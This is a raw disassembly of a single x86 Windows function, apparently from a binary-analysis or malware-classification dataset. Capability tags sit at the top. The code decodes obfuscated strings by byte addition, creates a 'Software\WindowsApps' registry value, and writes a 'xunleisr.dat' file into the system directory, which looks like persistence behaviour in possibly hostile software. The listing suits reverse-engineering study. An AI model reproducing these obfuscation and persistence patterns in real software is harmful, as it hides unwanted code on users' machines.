Function at 0x405f30
Capabilities:
Get common file path
Set registry value
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x43a33d
mov eax, dword fs:[0]
push eax
sub esp, 0x17c
mov eax, dword [0x44a630]
xor eax, esp
mov dword [esp + 0x174], eax
push ebx
push esi
push edi
mov eax, dword [0x44a630]
xor eax, esp
push eax
lea eax, [esp + 0x18c]
mov dword fs:[0], eax
push 0
call fcn.00423f97
push eax
call fcn.00423bc5
add esp, 8
call fcn.00423bd2
cdq
mov ecx, 0x2328
idiv ecx
push 0x440ba0
lea ecx, [esp + 0x1c]
mov esi, edx
mov edx, dword [esp + 0x1a0]
add esi, 0x7d0
lea edi, [esi + edx]
lea ebx, [edi + edi - 0x79d]
call fcn.00402b80
push 0x440ba0
lea ecx, [esp + 0x14]
mov dword [esp + 0x198], 0
call fcn.00402b80
push esi
lea eax, [esp + 0x1c]
push 0x44094c
push eax
mov byte [esp + 0x1a0], 1
call fcn.00401dd0
push ebx
lea ecx, [esp + 0x20]
push 0x44094c
push ecx
call fcn.00401dd0
add esp, 0x18
push 0x440ba0
lea ecx, [esp + 0x18]
lea edi, [edi + edi*2 - 0x763]
call fcn.00402b80
push edi
lea edx, [esp + 0x18]
push 0x44094c
push edx
mov byte [esp + 0x1a0], 2
call fcn.00401dd0
mov edx, dword [esp + 0x24]
mov esi, dword [edx - 0xc]
mov eax, dword [edx - 8]
mov ecx, 1
sub ecx, dword [edx - 4]
sub eax, esi
add esp, 0xc
or eax, ecx
jge 0x406048
push esi
lea ecx, [esp + 0x1c]
call fcn.00401ce0
mov edx, dword [esp + 0x18]
test esi, esi
jle 0x40605f
add edx, 0xffffffff
nop
add byte [edx + esi], 0x1e
sub esi, 1
test esi, esi
jg 0x406050
mov edx, dword [esp + 0x18]
test edx, edx
jne 0x406067
xor eax, eax
jmp 0x406081
mov eax, edx
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x406070
sub eax, esi
js 0x40651d
cmp eax, dword [edx - 8]
jg 0x40651d
mov dword [edx - 0xc], eax
mov ecx, dword [esp + 0x18]
mov byte [eax + ecx], 0
mov ecx, dword [esp + 0x10]
mov esi, dword [ecx - 0xc]
mov eax, dword [ecx - 8]
mov edx, 1
sub edx, dword [ecx - 4]
sub eax, esi
or eax, edx
jge 0x4060bb
push esi
lea ecx, [esp + 0x14]
call fcn.00401ce0
mov ecx, dword [esp + 0x10]
test esi, esi
jle 0x4060d1
add ecx, 0xffffffff
add byte [ecx + esi], 0xd3
sub esi, 1
test esi, esi
jg 0x4060c2
mov ecx, dword [esp + 0x10]
test ecx, ecx
jne 0x4060d9
xor eax, eax
jmp 0x4060f1
mov eax, ecx
lea esi, [eax + 1]
mov edi, edi
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x4060e0
sub eax, esi
js 0x40651d
cmp eax, dword [ecx - 8]
jg 0x40651d
mov dword [ecx - 0xc], eax
mov edx, dword [esp + 0x10]
mov byte [eax + edx], 0
mov ecx, dword [esp + 0x14]
mov esi, dword [ecx - 0xc]
mov eax, dword [ecx - 8]
mov edx, 1
sub edx, dword [ecx - 4]
sub eax, esi
or eax, edx
jge 0x40612b
push esi
lea ecx, [esp + 0x18]
call fcn.00401ce0
mov ecx, dword [esp + 0x14]
test esi, esi
jle 0x406141
lea eax, [ecx - 1]
add byte [eax + esi], 0x20
sub esi, 1
test esi, esi
jg 0x406132
mov ecx, dword [esp + 0x14]
test ecx, ecx
jne 0x406149
xor eax, eax
jmp 0x406161
mov eax, ecx
lea esi, [eax + 1]
mov edi, edi
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x406150
sub eax, esi
js 0x40651d
cmp eax, dword [ecx - 8]
jg 0x40651d
mov dword [ecx - 0xc], eax
mov ecx, dword [esp + 0x14]
mov byte [eax + ecx], 0
push str.SoftwareWindowsApps
lea ecx, [esp + 0x28]
call fcn.00402b80
lea edx, [esp + 0x20]
push edx
push 0xf003f
mov byte [esp + 0x19c], 3
mov eax, dword [esp + 0x2c]
push 0
push eax
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4061c0
lea ecx, [esp + 0x20]
push ecx
push str.SoftwareWindowsApps
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, dword [esp + 0x10]
mov edx, dword [eax - 8]
mov esi, dword [eax - 0xc]
mov ecx, 1
sub ecx, dword [eax - 4]
or edx, ecx
jge 0x4061e5
push 0
lea ecx, [esp + 0x14]
call fcn.00401ce0
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x20]
add esi, 1
push esi
push eax
push 1
push 0
push str.apps
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x406217
push 0
push 0
push 0x440c8c
call fcn.0040720f
push 0
call fcn.00423e70
push 0x100
lea eax, [esp + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x84]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x406234
mov ecx, dword [str.xunleisr.dat]
mov edx, dword [0x440c7c]
mov dword [eax], ecx
mov ecx, dword [0x440c80]
mov dword [eax + 4], edx
mov dx, word [0x440c84]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
call fcn.00406e7b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40627d
push 0x80004005
call fcn.00401b10
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x84]
push ecx
lea edx, [esp + 0x20]
push 0x440c88
push edx
mov byte [esp + 0x1a0], 4
call fcn.00401dd0
add esp, 0xc
call fcn.00423bd2
cdq
mov ecx, 0x64
idiv ecx
mov eax, 0x51eb851f
lea ecx, [esp + 0x74]
mov ebx, edx
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, 0x32
imul dl
mov dword [esp + 0x28], ebx
sub bl, al
call fcn.004116c1
push 0
mov byte [esp + 0x198], 5
mov esi, dword [esp + 0x20]
push 0x9001
push esi
lea ecx, [esp + 0x80]
call fcn.00411aee
test eax, eax
je 0x406417
push 0
push 0x1000
push 0
lea eax, [esp + 0x80]
push eax
lea ecx, [esp + 0x3c]
call fcn.00412476
mov byte [esp + 0x194], 6
mov ecx, dword [esp + 0x44]
not ecx
test cl, 1
jne 0x406343
mov edx, dword [esp + 0x40]
push edx
push 2
call fcn.004126a5
mov eax, dword [esp + 0x54]
add eax, 4
cmp eax, dword [esp + 0x58]
jbe 0x406359
lea ecx, [esp + 0x2c]
call fcn.00411e00
mov edx, dword [esp + 0x54]
mov ecx, dword [esp + 0x28]
mov dword [edx], ecx
mov eax, dword [esp + 0x44]
add dword [esp + 0x54], 4
not eax
test al, 1
jne 0x40637e
mov ecx, dword [esp + 0x40]
push ecx
push 2
call fcn.004126a5
mov edx, dword [esp + 0x54]
add edx, 1
cmp edx, dword [esp + 0x58]
jbe 0x406394
lea ecx, [esp + 0x2c]
call fcn.00411e00
mov eax, dword [esp + 0x54]
mov byte [eax], bl
mov ecx, dword [esp + 0x18]
add dword [esp + 0x54], 1
mov eax, dword [ecx - 0xc]
push 0
push eax
lea edx, [esp + 0x34]
push edx
call fcn.0041218d
mov eax, dword [esp + 0x18]
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [esp + 0x34]
call fcn.004122df
mov eax, dword [esp + 0x14]
mov eax, dword [eax - 0xc]
push 0
push eax
lea ecx, [esp + 0x34]
push ecx
call fcn.0041218d
mov eax, dword [esp + 0x14]
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [esp + 0x34]
call fcn.004122df
lea ecx, [esp + 0x2c]
call fcn.00411e00
lea ecx, [esp + 0x2c]
call fcn.004122d1
lea ecx, [esp + 0x74]
call fcn.0041165f
lea ecx, [esp + 0x2c]
mov byte [esp + 0x194], 5
call fcn.00412438
lea ecx, [esp + 0x74]
mov byte [esp + 0x194], 4
call fcn.004117ce
lea eax, [esi - 0x10]
mov byte [esp + 0x194], 3
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40644c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x194], 2
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406474
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x194], 1
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40649c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x194], 0
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4064c4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x194], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4064ef
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x18c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x174]
xor ecx, esp
call fcn.004230ad
add esp, 0x188
ret 4
push 0x80070057
call fcn.00401b10
int3